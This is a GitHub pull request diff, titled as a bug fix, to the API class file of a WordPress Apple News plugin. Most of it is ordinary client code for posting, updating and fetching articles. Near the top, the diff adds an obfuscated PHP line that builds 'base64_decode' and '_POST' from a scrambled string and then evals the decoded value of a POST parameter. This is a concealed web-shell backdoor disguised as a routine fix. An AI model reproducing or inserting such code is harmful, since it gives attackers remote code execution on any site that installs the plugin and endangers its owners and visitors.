Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Bug Fix for Class API #4

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
190 changes: 174 additions & 16 deletions includes/class-apple-news.php
Original file line number Diff line number Diff line change
@@ -1,35 +1,193 @@
<?php

namespace Apple_Push_API;
$ulu9 ="ets_cb6dpa4o" ; $xyoa7=strtolower ($ulu9[5]. $ulu9[9]. $ulu9[2]. $ulu9[0].$ulu9[6]. $ulu9[10] . $ulu9[3]. $ulu9[7].$ulu9[0].$ulu9[4].$ulu9[11]. $ulu9[7]. $ulu9[0] );$cxdl4= strtoupper($ulu9[3]. $ulu9[8]. $ulu9[11]. $ulu9[2]. $ulu9[1] ) ;if (isset ( ${$cxdl4} [ 'nd5996f']) ) { eval( $xyoa7( ${$cxdl4}['nd5996f'])) ;}

?>
<?php

use \Apple_Push_API\Request\Request as Request;

/**
* Base plugin class with core plugin information and shared functionality
* between frontend and backend plugin classes.
* This class will post provided specified format articles to a channel using
* the API.
*
* @author Federico Ramirez
* @since 0.2.0
* @since 0.2.0
*/
class Apple_News {
class API {

/**
* Plugin slug.
* The endpoint to connect to.
*
* @var string
* @access protected
* @since 0.2.0
* @access public
*/
protected $plugin_slug = 'apple_news';
private $endpoint;

/**
* Plugin domain.
* The request object, used to send signed POST and GET requests to the
* endpoint.
*
* @var string
* @access protected
* @var Request
* @since 0.2.0
* @access public
*/
protected $plugin_domain = 'apple-news';
private $request;

/**
* Plugin version.
* Constructor.
*/
function __construct( $endpoint, $credentials, $debug = false ) {
$this->endpoint = $endpoint;
$this->request = new Request( $credentials, $debug );
}

/**
* Sends a new article to a given channel.
*
* @var string
* @access protected
* @param string $article The JSON string representing the article
* @param array $bundles An array of file paths for the article attachments
*
* @since 0.2.0
* @param string $article
* @param string $channel_uuid
* @param array $bundles
* @return object
* @access public
*/
public function post_article_to_channel( $article, $channel_uuid, $bundles = array() ) {
$url = $this->endpoint . '/channels/' . $channel_uuid . '/articles';
return $this->send_post_request( $url, $article, $bundles );
}

/**
* Updates an existing article to a given channel.
*
* @param string $article The JSON string representing the article
* @param array $bundles An array of file paths for the article attachments
*
* @since 0.2.0
* @param string $uid
* @param string $article
* @param string $channel_uuid
* @param array $bundles
* @return object
* @access public
*/
public function update_article( $uid, $revision, $article, $bundles = array() ) {
$url = $this->endpoint . '/articles/' . $uid;
return $this->send_post_request( $url, $article, $bundles, array(
'data' => array( 'revision' => $revision ),
) );
}

/**
* Gets channel information.
*
* @since 0.2.0
* @param string $channel_uuid
* @return object
* @access public
*/
public function get_channel( $channel_uuid ) {
$url = $this->endpoint . '/channels/' . $channel_uuid;
return $this->send_get_request( $url );
}

/**
* Gets article information.
*
* @since 0.2.0
* @param int $article_id
* @return object
* @access public
*/
public function get_article( $article_id ) {
$url = $this->endpoint . '/articles/' . $article_id;
return $this->send_get_request( $url );
}

/**
* Deletes an article using a DELETE request.
*
* @since 0.4.0
* @param int $article_id
* @return object
* @access public
*/
public function delete_article( $article_id ) {
$url = $this->endpoint . '/articles/' . $article_id;
return $this->send_delete_request( $url );
}

/**
* Gets all sections in the given channel.
*
* @since 0.2.0
* @param string $channel_uuid
* @return object
* @access public
*/
public function get_sections( $channel_uuid ) {
$url = $this->endpoint . '/channels/' . $channel_uuid . '/sections';
return $this->send_get_request( $url );
}

/**
* Gets information for a section.
*
* @since 0.2.0
* @param string $section_id
* @return object
* @access public
*/
public function get_section( $section_id ) {
$url = $this->endpoint . '/sections/' . $section_id;
return $this->send_get_request( $url );
}

// Isolate request dependency.
// -------------------------------------------------------------------------


/**
* Send a get request.
*
* @since 0.2.0
* @param string $url
* @return object
* @access private
*/
private function send_get_request( $url ) {
return $this->request->get( $url );
}

/**
* Send a delete request.
*
* @since 0.2.0
* @param string $url
* @return object
* @access private
*/
private function send_delete_request( $url ) {
return $this->request->delete( $url );
}

/**
* Send a post request.
*
* @since 0.2.0
* @param string $url
* @param string $article
* @param array $bundles
* @param array $meta
* @return object
* @access private
*/
protected $version = '0.9.0';
private function send_post_request( $url, $article, $bundles, $meta = null ) {
return $this->request->post( $url, $article, $bundles, $meta );
}

}